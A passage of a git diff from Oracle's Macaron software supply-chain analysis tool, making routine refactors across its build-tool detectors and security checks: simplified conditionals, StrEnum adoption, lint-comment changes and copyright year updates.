# Sometimes hatch is called as a Python module.
@@ -180,7 +178,7 @@ def is_package_command(
if not cmd_program_name:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
build_args = self.build_arg
# Sometimes hatch is called as a Python module.
diff --git a/src/macaron/slsa_analyzer/build_tool/language.py b/src/macaron/slsa_analyzer/build_tool/language.py
index 5b5d47d9f..8ad01a821 100644
--- a/src/macaron/slsa_analyzer/build_tool/language.py
+++ b/src/macaron/slsa_analyzer/build_tool/language.py
@@ -1,13 +1,13 @@
-# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains abstractions for build languages."""
-from enum import Enum
+from enum import StrEnum
from typing import Protocol, runtime_checkable
-class BuildLanguage(str, Enum):
+class BuildLanguage(StrEnum):
"""The supported build languages."""
JAVA = "java"
diff --git a/src/macaron/slsa_analyzer/build_tool/npm.py b/src/macaron/slsa_analyzer/build_tool/npm.py
index 56b07d722..6004bb06f 100644
--- a/src/macaron/slsa_analyzer/build_tool/npm.py
+++ b/src/macaron/slsa_analyzer/build_tool/npm.py
@@ -107,7 +107,7 @@ def is_deploy_command(
cmd_program_name = os.path.basename(build_cmd[0])
# Some projects use a publisher tool and some use the build tool with deploy arguments.
- deploy_tools = self.publisher if self.publisher else self.builder
+ deploy_tools = self.publisher or self.builder
deploy_args = self.deploy_arg
# Sometimes npm commands use the `run` sub-command:
@@ -155,7 +155,7 @@ def is_package_command(
if not cmd_program_name:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
build_args = self.build_arg
# Sometimes npm commands use the `run` sub-command:
diff --git a/src/macaron/slsa_analyzer/build_tool/pip.py b/src/macaron/slsa_analyzer/build_tool/pip.py
index 122b97ed6..fc27cbe95 100644
--- a/src/macaron/slsa_analyzer/build_tool/pip.py
+++ b/src/macaron/slsa_analyzer/build_tool/pip.py
@@ -67,9 +67,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]:
if not repo_path:
return []
- results: list[BuildToolConfig] = (
- []
- )
+ results: list[BuildToolConfig] = []
confidence_score = 1.0
@@ -143,7 +141,7 @@ def is_deploy_command(
cmd_program_name = os.path.basename(build_cmd[0])
# Some projects use a publisher tool and some use the build tool with deploy arguments.
- deploy_tools = self.publisher if self.publisher else self.builder
+ deploy_tools = self.publisher or self.builder
deploy_args = self.deploy_arg
# Sometimes pip is called as a Python module.
@@ -190,7 +188,7 @@ def is_package_command(
if not cmd_program_name:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
build_args = self.build_arg
# Sometimes pip is called as a Python module.
diff --git a/src/macaron/slsa_analyzer/build_tool/poetry.py b/src/macaron/slsa_analyzer/build_tool/poetry.py
index a6499fe30..c7b20a86e 100644
--- a/src/macaron/slsa_analyzer/build_tool/poetry.py
+++ b/src/macaron/slsa_analyzer/build_tool/poetry.py
@@ -78,9 +78,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]:
file_paths = (file_exists(repo_path, file, filters=self.path_filters) for file in self.build_configs)
for config_path in file_paths:
if config_path and os.path.basename(config_path) == "pyproject.toml":
- if package_lock_exists:
- results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None))
- elif pyproject.contains_build_tool("poetry", config_path):
+ if package_lock_exists or pyproject.contains_build_tool("poetry", config_path):
results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None))
# Check the build-system section.
else:
@@ -139,7 +137,7 @@ def is_deploy_command(
cmd_program_name = os.path.basename(build_cmd[0])
# Some projects use a publisher tool and some use the build tool with deploy arguments.
- deploy_tools = self.publisher if self.publisher else self.builder
+ deploy_tools = self.publisher or self.builder
deploy_args = self.deploy_arg
# Sometimes poetry is called as a Python module.
@@ -186,7 +184,7 @@ def is_package_command(
if not cmd_program_name:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
build_args = self.build_arg
# Sometimes poetry is called as a Python module.
diff --git a/src/macaron/slsa_analyzer/build_tool/pyproject.py b/src/macaron/slsa_analyzer/build_tool/pyproject.py
index 5b327f94c..9a7152130 100644
--- a/src/macaron/slsa_analyzer/build_tool/pyproject.py
+++ b/src/macaron/slsa_analyzer/build_tool/pyproject.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2025 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2025 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module provides analysis functions for a pyproject.toml file."""
@@ -59,9 +59,7 @@ def contains_build_tool(tool_name: str, pyproject_path: Path) -> bool:
# Check for the existence of a [tool.] section.
tools = json_extract(content, ["tool"], dict)
- if tools and tool_name in tools:
- return True
- return False
+ return bool(tools and tool_name in tools)
def build_system_contains_tool(tool_name: str, pyproject_path: Path) -> bool:
@@ -90,10 +88,7 @@ def build_system_contains_tool(tool_name: str, pyproject_path: Path) -> bool:
return True
# Check in 'requires' list.
requires = json_extract(content, ["build-system", "requires"], list)
- if requires and any(tool_name in req for req in requires):
- return True
-
- return False
+ return bool(requires and any(tool_name in req for req in requires))
def get_build_system(pyproject_path: Path) -> dict[str, str] | None:
diff --git a/src/macaron/slsa_analyzer/build_tool/uv.py b/src/macaron/slsa_analyzer/build_tool/uv.py
index b31fd76a6..5a2dd4307 100644
--- a/src/macaron/slsa_analyzer/build_tool/uv.py
+++ b/src/macaron/slsa_analyzer/build_tool/uv.py
@@ -75,9 +75,7 @@ def is_detected(self, target: Component) -> list[BuildToolConfig]:
file_paths = (file_exists(repo_path, file, filters=self.path_filters) for file in self.build_configs)
for config_path in file_paths:
if config_path and os.path.basename(config_path) == "pyproject.toml":
- if package_lock_exists:
- results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None))
- elif pyproject.contains_build_tool("uv", config_path):
+ if package_lock_exists or pyproject.contains_build_tool("uv", config_path):
results.append((str(config_path.relative_to(repo_path)), confidence_score, None, None))
else:
for tool in self.build_requires + self.build_backend:
@@ -130,7 +128,7 @@ def is_deploy_command(
build_cmd = cmd["command"]
cmd_program_name = os.path.basename(build_cmd[0])
- deploy_tools = self.publisher if self.publisher else self.builder
+ deploy_tools = self.publisher or self.builder
deploy_args = self.deploy_arg
if cmd_program_name in self.interpreter and len(build_cmd) > 2 and build_cmd[1] in self.interpreter_flag:
@@ -170,7 +168,7 @@ def is_package_command(
if not cmd_program_name:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
build_args = self.build_arg
if cmd_program_name in self.interpreter and len(build_cmd) > 2 and build_cmd[1] in self.interpreter_flag:
diff --git a/src/macaron/slsa_analyzer/build_tool/yarn.py b/src/macaron/slsa_analyzer/build_tool/yarn.py
index 36a9660b8..015be01ed 100644
--- a/src/macaron/slsa_analyzer/build_tool/yarn.py
+++ b/src/macaron/slsa_analyzer/build_tool/yarn.py
@@ -105,7 +105,7 @@ def is_deploy_command(
cmd_program_name = os.path.basename(build_cmd[0])
# Some projects use a publisher tool and some use the build tool with deploy arguments.
- deploy_tools = self.publisher if self.publisher else self.builder
+ deploy_tools = self.publisher or self.builder
deploy_args = self.deploy_arg
# Sometimes yarn commands use the `run` sub-command:
@@ -153,7 +153,7 @@ def is_package_command(
if not cmd_program_name:
return False, Confidence.HIGH
- builder = self.packager if self.packager else self.builder
+ builder = self.packager or self.builder
build_args = self.build_arg
# Sometimes yarn commands use the `run` sub-command:
diff --git a/src/macaron/slsa_analyzer/checks/base_check.py b/src/macaron/slsa_analyzer/checks/base_check.py
index 53f857828..d6e4193ed 100644
--- a/src/macaron/slsa_analyzer/checks/base_check.py
+++ b/src/macaron/slsa_analyzer/checks/base_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the BaseCheck class to be inherited by other concrete Checks."""
@@ -52,7 +52,7 @@ def __init__(
self._check_info = CheckInfo(
check_id=check_id,
check_description=description,
- eval_reqs=eval_reqs if eval_reqs else [],
+ eval_reqs=eval_reqs or [],
)
if not depends_on:
@@ -128,7 +128,7 @@ def run(self, target: AnalyzeContext, skipped_info: SkippedInfo | None = None) -
# refactoring.
justification_str = ""
for _, ele in check_result_data.justification_report:
- justification_str += f"{str(ele)}. "
+ justification_str += f"{ele!s}. "
target.bulk_update_req_status(
self.check_info.eval_reqs,
diff --git a/src/macaron/slsa_analyzer/checks/build_as_code_check.py b/src/macaron/slsa_analyzer/checks/build_as_code_check.py
index bf3693a78..817f084eb 100644
--- a/src/macaron/slsa_analyzer/checks/build_as_code_check.py
+++ b/src/macaron/slsa_analyzer/checks/build_as_code_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the BuildAsCodeCheck class."""
@@ -39,7 +39,7 @@ class BuildAsCodeFacts(CheckFacts):
__tablename__ = "_build_as_code_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The name of the tool used to build.
build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT})
@@ -71,7 +71,7 @@ class BuildAsCodeFacts(CheckFacts):
#: The command used to deploy.
deploy_command: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 https://github.com/astral-sh/ruff/issues/25392
"polymorphic_identity": "_build_as_code_check",
}
@@ -304,29 +304,28 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
# We currently don't parse these CI configuration files.
# We just look for a keyword for now.
for unparsed_ci in (Travis, CircleCI, GitLabCI):
- if isinstance(ci_service, unparsed_ci):
- if tool.ci_deploy_kws[ci_service.name]:
- deploy_kw, config_name = ci_service.has_kws_in_config(
- tool.ci_deploy_kws[ci_service.name],
- build_tool_name=tool.name,
- repo_path=ctx.component.repository.fs_path,
- )
- if not config_name:
- break
+ if isinstance(ci_service, unparsed_ci) and tool.ci_deploy_kws[ci_service.name]:
+ deploy_kw, config_name = ci_service.has_kws_in_config(
+ tool.ci_deploy_kws[ci_service.name],
+ build_tool_name=tool.name,
+ repo_path=ctx.component.repository.fs_path,
+ )
+ if not config_name:
+ break
- store_inferred_build_info_results(
- ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name
- )
- result_tables.append(
- BuildAsCodeFacts(
- build_tool_name=tool.name,
- language=tool.language.value,
- ci_service_name=ci_service.name,
- deploy_command=deploy_kw,
- confidence=Confidence.LOW,
- )
+ store_inferred_build_info_results(
+ ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name
+ )
+ result_tables.append(
+ BuildAsCodeFacts(
+ build_tool_name=tool.name,
+ language=tool.language.value,
+ ci_service_name=ci_service.name,
+ deploy_command=deploy_kw,
+ confidence=Confidence.LOW,
)
- overall_res = CheckResultType.PASSED
+ )
+ overall_res = CheckResultType.PASSED
# The check passing is contingent on at least one passing, if
# one passes treat whole check as passing. We do still need to
diff --git a/src/macaron/slsa_analyzer/checks/build_script_check.py b/src/macaron/slsa_analyzer/checks/build_script_check.py
index 76374eed1..ea0663f64 100644
--- a/src/macaron/slsa_analyzer/checks/build_script_check.py
+++ b/src/macaron/slsa_analyzer/checks/build_script_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the BuildScriptCheck class."""
@@ -29,7 +29,7 @@ class BuildScriptFacts(CheckFacts):
__tablename__ = "_build_script_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The name of the tool used to build.
build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT})
@@ -63,7 +63,7 @@ class BuildScriptFacts(CheckFacts):
String, nullable=True, info={"justification": JustificationType.TEXT}
)
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_build_script_check",
}
diff --git a/src/macaron/slsa_analyzer/checks/build_service_check.py b/src/macaron/slsa_analyzer/checks/build_service_check.py
index f2439d55a..872709362 100644
--- a/src/macaron/slsa_analyzer/checks/build_service_check.py
+++ b/src/macaron/slsa_analyzer/checks/build_service_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the BuildServiceCheck class."""
@@ -32,7 +32,7 @@ class BuildServiceFacts(CheckFacts):
__tablename__ = "_build_service_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The name of the tool used to build.
build_tool_name: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT})
@@ -64,7 +64,7 @@ class BuildServiceFacts(CheckFacts):
String, nullable=True, info={"justification": JustificationType.HREF}
)
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_build_service_check",
}
@@ -169,29 +169,28 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
# We currently don't parse these CI configuration files.
# We just look for a keyword for now.
for unparsed_ci in (Travis, CircleCI, GitLabCI):
- if isinstance(ci_service, unparsed_ci):
- if tool.ci_build_kws[ci_service.name]:
- build_kw, config_name = ci_service.has_kws_in_config(
- tool.ci_build_kws[ci_service.name],
- build_tool_name=tool.name,
- repo_path=ctx.component.repository.fs_path,
- )
- if not config_name:
- break
+ if isinstance(ci_service, unparsed_ci) and tool.ci_build_kws[ci_service.name]:
+ build_kw, config_name = ci_service.has_kws_in_config(
+ tool.ci_build_kws[ci_service.name],
+ build_tool_name=tool.name,
+ repo_path=ctx.component.repository.fs_path,
+ )
+ if not config_name:
+ break
- store_inferred_build_info_results(
- ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name
- )
- result_tables.append(
- BuildServiceFacts(
- build_tool_name=tool.name,
- language=tool.language.value,
- ci_service_name=ci_service.name,
- build_command=build_kw,
- confidence=Confidence.LOW,
- )
+ store_inferred_build_info_results(
+ ctx=ctx, ci_info=ci_info, ci_service=ci_service, trigger_link=config_name
+ )
+ result_tables.append(
+ BuildServiceFacts(
+ build_tool_name=tool.name,
+ language=tool.language.value,
+ ci_service_name=ci_service.name,
+ build_command=build_kw,
+ confidence=Confidence.LOW,
)
- overall_res = CheckResultType.PASSED
+ )
+ overall_res = CheckResultType.PASSED
# The check passing is contingent on at least one passing, if
# one passes treat whole check as passing. We do still need to
diff --git a/src/macaron/slsa_analyzer/checks/build_tool_check.py b/src/macaron/slsa_analyzer/checks/build_tool_check.py
index 66d323399..9fb0087fa 100644
--- a/src/macaron/slsa_analyzer/checks/build_tool_check.py
+++ b/src/macaron/slsa_analyzer/checks/build_tool_check.py
@@ -24,7 +24,7 @@ class BuildToolFacts(CheckFacts):
__tablename__ = "_build_tool_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The language of the artifact built by build tool.
language: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.TEXT})
@@ -53,7 +53,7 @@ class BuildToolFacts(CheckFacts):
String, nullable=True, info={"justification": JustificationType.HREF}
)
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_build_tool_check",
}
diff --git a/src/macaron/slsa_analyzer/checks/check_result.py b/src/macaron/slsa_analyzer/checks/check_result.py
index afedbaf9c..47d8c76c6 100644
--- a/src/macaron/slsa_analyzer/checks/check_result.py
+++ b/src/macaron/slsa_analyzer/checks/check_result.py
@@ -5,14 +5,14 @@
import json
from dataclasses import dataclass
-from enum import Enum
+from enum import Enum, StrEnum
from typing import TypedDict
from macaron.database.table_definitions import CheckFacts
from macaron.slsa_analyzer.slsa_req import BUILD_REQ_DESC, ReqName
-class CheckResultType(str, Enum):
+class CheckResultType(StrEnum):
"""This class contains the types of a check result."""
PASSED = "PASSED"
@@ -157,7 +157,7 @@ def get_confidence_level(cls, normalized_score: float) -> "Confidence":
return min(cls, key=lambda c: abs(c.value - normalized_score))
-class JustificationType(str, Enum):
+class JustificationType(StrEnum):
"""This class contains the type of a justification that will be used in creating the HTML report."""
#: If a justification has a text type, it will be added as a plain text.
@@ -293,7 +293,4 @@ def get_result_as_bool(check_result_type: CheckResultType) -> bool:
-------
bool
"""
- if check_result_type in (CheckResultType.FAILED, CheckResultType.UNKNOWN):
- return False
-
- return True
+ return check_result_type not in (CheckResultType.FAILED, CheckResultType.UNKNOWN)
diff --git a/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py b/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py
index 87f4877d8..4d2bfc103 100644
--- a/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py
+++ b/src/macaron/slsa_analyzer/checks/detect_malicious_metadata_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2024 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2024 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This check examines the metadata of pypi packages with seven heuristics."""
@@ -56,7 +56,7 @@ class MaliciousMetadataFacts(CheckFacts):
__tablename__ = "_detect_malicious_metadata_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: Known malware.
known_malware: Mapped[str | None] = mapped_column(
@@ -71,7 +71,7 @@ class MaliciousMetadataFacts(CheckFacts):
DBJsonDict, nullable=False, info={"justification": JustificationType.TEXT}
)
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_detect_malicious_metadata_check",
}
@@ -294,10 +294,12 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
for package_registry_info_entry in package_registry_info_entries:
match package_registry_info_entry:
# Currently, only PyPI packages are supported.
- case PackageRegistryInfo(
- ecosystem="pypi",
- package_registry=PyPIRegistry(),
- ) as pypi_registry_info:
+ case (
+ PackageRegistryInfo(
+ ecosystem="pypi",
+ package_registry=PyPIRegistry(),
+ ) as pypi_registry_info
+ ):
# Retrieve the pre-existing asset, or create a new one.
pypi_package_json = find_or_create_pypi_asset(
ctx.component.name, ctx.component.version, pypi_registry_info
@@ -356,9 +358,9 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
# Return UNKNOWN result for unsupported ecosystems.
return CheckResultData(result_tables=[], result_type=CheckResultType.UNKNOWN)
- # This list contains the heuristic analyzer classes
- # When implementing new analyzer, appending the classes to this list
- analyzers: list = [
+ # This list contains the heuristic analyzer classes. When implementing a new analyzer,
+ # append its classes to this list.
+ analyzers = (
EmptyProjectLinkAnalyzer,
SourceCodeRepoAnalyzer,
OneReleaseAnalyzer,
@@ -373,9 +375,9 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
SimilarProjectAnalyzer,
PackageDescriptionIntentAnalyzer,
TypeStubFileAnalyzer,
- ]
+ )
- # name used to query the result of all problog rules, so it can be accessed outside the model.
+ # Name used to query the result of all problog rules, so it can be accessed outside the model.
problog_result_access = "result"
malware_rules_problog_model = f"""
diff --git a/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py b/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py
index 4fb2e92ec..eaae86e36 100644
--- a/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py
+++ b/src/macaron/slsa_analyzer/checks/github_actions_vulnerability_check.py
@@ -6,7 +6,7 @@
import logging
import os
import re
-from enum import Enum
+from enum import StrEnum
from sqlalchemy import Boolean, ForeignKey, Integer, String
from sqlalchemy.orm import Mapped, mapped_column
@@ -40,7 +40,7 @@
logger: logging.Logger = logging.getLogger(__name__)
-class GitHubActionsFindingType(str, Enum):
+class GitHubActionsFindingType(StrEnum):
"""Enumeration of finding categories for GitHub Actions vulnerability check facts."""
# Note: finding_type is the subtype within a top-level finding_group.
@@ -49,7 +49,7 @@ class GitHubActionsFindingType(str, Enum):
UNPINNED_THIRD_PARTY_ACTION = "unpinned-third-party-action"
-class GitHubActionsFindingGroup(str, Enum):
+class GitHubActionsFindingGroup(StrEnum):
"""Top-level finding groups for GitHub Actions vulnerability check facts."""
# Note: finding_group is the high-level bucket used for reporting sections.
@@ -64,7 +64,7 @@ class GitHubActionsVulnsFacts(CheckFacts):
__tablename__ = "_github_actions_vulnerabilities_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The GitHub Action workflow that may have various security issues.
caller_workflow: Mapped[str] = mapped_column(String, nullable=False, info={"justification": JustificationType.HREF})
@@ -118,7 +118,7 @@ class GitHubActionsVulnsFacts(CheckFacts):
DBJsonList, nullable=False, info={"justification": JustificationType.TEXT}
)
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_github_actions_vulnerabilities_check",
}
@@ -261,7 +261,6 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
# If no external GitHub Actions are found, no need to check for known vulnerabilities.
if external_workflows:
-
# We first send a batch query to see which GitHub Actions are potentially vulnerable.
# OSV's querybatch returns minimal results but this allows us to only make subsequent
# queries to get vulnerability details when needed.
diff --git a/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py b/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py
index a10d14d57..e6d3d71a3 100644
--- a/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py
+++ b/src/macaron/slsa_analyzer/checks/infer_artifact_pipeline_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the InferArtifactPipelineCheck class to check if an artifact is published from a pipeline automatically."""
@@ -31,7 +31,7 @@ class ArtifactPipelineFacts(CheckFacts):
__tablename__ = "_artifact_pipeline_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The URL of the workflow file that triggered deploy.
deploy_workflow: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF})
@@ -60,7 +60,7 @@ class ArtifactPipelineFacts(CheckFacts):
Boolean, nullable=False, info={"justification": JustificationType.TEXT}
)
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_infer_artifact_pipeline_check",
}
diff --git a/src/macaron/slsa_analyzer/checks/license_check.py b/src/macaron/slsa_analyzer/checks/license_check.py
index a5d26f2c8..d3dfb1ae4 100644
--- a/src/macaron/slsa_analyzer/checks/license_check.py
+++ b/src/macaron/slsa_analyzer/checks/license_check.py
@@ -63,7 +63,7 @@ class LicenseFacts(CheckFacts):
__tablename__ = "_license_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The SPDX identifier of the detected license (e.g. ``MIT``).
spdx_id: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT})
@@ -77,7 +77,7 @@ class LicenseFacts(CheckFacts):
#: The URL to the license file on GitHub.
license_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_license_check",
}
diff --git a/src/macaron/slsa_analyzer/checks/provenance_available_check.py b/src/macaron/slsa_analyzer/checks/provenance_available_check.py
index edcf070ce..f7ab24581 100644
--- a/src/macaron/slsa_analyzer/checks/provenance_available_check.py
+++ b/src/macaron/slsa_analyzer/checks/provenance_available_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2022 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2022 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module contains the implementation of the Provenance Available check."""
@@ -20,7 +20,7 @@
logger: logging.Logger = logging.getLogger(__name__)
-class ProvenanceAvailableException(MacaronError):
+class ProvenanceAvailableError(MacaronError):
"""When there is an error while checking if a provenance is available."""
@@ -30,7 +30,7 @@ class ProvenanceAvailableFacts(CheckFacts):
__tablename__ = "_provenance_available_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The provenance asset name.
asset_name: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT})
@@ -38,7 +38,7 @@ class ProvenanceAvailableFacts(CheckFacts):
#: The URL for the provenance asset.
asset_url: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.HREF})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": "_provenance_available_check",
}
diff --git a/src/macaron/slsa_analyzer/checks/provenance_commit_check.py b/src/macaron/slsa_analyzer/checks/provenance_commit_check.py
index 7e271ffea..1dd750d74 100644
--- a/src/macaron/slsa_analyzer/checks/provenance_commit_check.py
+++ b/src/macaron/slsa_analyzer/checks/provenance_commit_check.py
@@ -24,12 +24,12 @@ class ProvenanceDerivedCommitFacts(CheckFacts):
__tablename__ = "_provenance_derived_commit_check"
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The state of the commit.
commit_info: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT})
- __mapper_args__ = {
+ __mapper_args__ = { # noqa: RUF012 (https://github.com/astral-sh/ruff/issues/25392)
"polymorphic_identity": __tablename__,
}
diff --git a/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py b/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py
index b7bc93c23..7c3d550d1 100644
--- a/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py
+++ b/src/macaron/slsa_analyzer/checks/provenance_l3_content_check.py
@@ -1,4 +1,4 @@
-# Copyright (c) 2023 - 2025, Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2023 - 2026, Oracle and/or its affiliates. All rights reserved.
# Licensed under the Universal Permissive License v 1.0 as shown at https://oss.oracle.com/licenses/upl/.
"""This module checks if a SLSA provenance conforms to a given expectation."""
@@ -77,9 +77,11 @@ def run_check(self, ctx: AnalyzeContext) -> CheckResultData:
# Check the provenances in package registries.
for package_registry_info_entry in package_registry_info_entries:
match package_registry_info_entry:
- case PackageRegistryInfo(
- package_registry=JFrogMavenRegistry(),
- ) as info_entry:
+ case (
+ PackageRegistryInfo(
+ package_registry=JFrogMavenRegistry(),
+ ) as info_entry
+ ):
for provenance in info_entry.provenances:
try:
logger.info(
diff --git a/src/macaron/slsa_analyzer/checks/provenance_repo_check.py b/src/macaron/slsa_analyzer/checks/provenance_repo_check.py
index e1260d76c..2e051edae 100644
--- a/src/macaron/slsa_analyzer/checks/provenance_repo_check.py
+++ b/src/macaron/slsa_analyzer/checks/provenance_repo_check.py
@@ -28,12 +28,12 @@ class ProvenanceDerivedRepoFacts(CheckFacts):
# pylint: disable=unsubscriptable-object
#: The primary key.
- id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True) # noqa: A003
+ id: Mapped[int] = mapped_column(ForeignKey("_check_facts.id"), primary_key=True)
#: The state of the repository.
repository_info: Mapped[str] = mapped_column(String, nullable=True, info={"justification": JustificationType.TEXT})
